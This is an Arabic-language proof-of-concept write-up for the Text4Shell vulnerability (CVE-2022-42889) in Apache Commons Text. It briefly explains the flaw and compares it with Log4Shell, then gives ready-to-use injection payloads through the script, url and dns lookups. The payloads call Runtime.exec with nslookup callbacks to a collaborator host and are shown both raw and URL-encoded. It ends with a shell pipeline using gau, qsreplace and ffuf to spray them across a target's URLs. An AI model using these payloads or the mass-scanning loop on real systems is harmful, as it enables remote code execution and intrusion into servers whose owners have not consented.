
Apache commons text - CVE-2022-42889 Text4Shell استغلال إثبات المفهوم.
Apache commons text - CVE-2022-42889 Text4Shell إثبات مفهوم الاستغلال.
يؤثر CVE-2022-42889 على إصدارات Apache Commons Text من 1.5 إلى 1.9. تم إصلاحه في الإصدار 1.10 من Commons Text.
تمت مقارنة الثغرة الأمنية بـ Log4Shell حيث أنها ثغرة على مستوى مكتبة مفتوحة المصدر من المحتمل أن تؤثر على مجموعة واسعة من تطبيقات البرمجيات التي تستخدم الكائن ذا الصلة. ومع ذلك، يشير التحليل الأولي إلى أن هذه مقارنة سيئة. طبيعة الثغرة تعني أنه على عكس Log4Shell، سيكون من النادر أن يستخدم التطبيق المكون المعرض للخطر من Commons Text لمعالجة مدخلات غير موثوقة وربما ضارة.
توجد الثغرة في كائن interpolator الخاص بـ StringSubstitutor. يتم إنشاء interpolator بواسطة طريقة StringSubstitutor.createInterpolator() وسيسمح بعمليات بحث عن السلاسل كما هو محدد في StringLookupFactory. يمكن استخدام ذلك بتمرير سلسلة بالصيغة "${prefix:name}" حيث prefix هو البحث المذكور سابقًا. استخدام عمليات البحث "script" أو "dns" أو "url" سيسمح لسلسلة مصممة بتنفيذ نصوص برمجية عشوائية عند تمريرها إلى كائن interpolator.
بينما من غير المحتمل وجود مقطع الكود هذا تحديدًا في التطبيقات الإنتاجية، فإن القلق هو أنه في بعض التطبيقات، قد يكون المتغير pocstring تحت سيطرة المهاجم. بهذا المعنى، تشبه الثغرة Log4Shell. ومع ذلك، فإن interpolator الخاص بـ StringSubstitutor أقل استخدامًا بشكل ملحوظ من استبدال السلاسل المعرض للخطر في Log4j، وطبيعة مثل هذا interpolator تعني أن الوصول بمدخلات مصممة إلى الكائن المعرض للخطر أقل احتمالًا من مجرد التفاعل مع سلسلة مصممة كما في Log4Shell.
script:javascript
استبدل قيمة المعامل بالحمولة:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace شكرًا @tomnomnom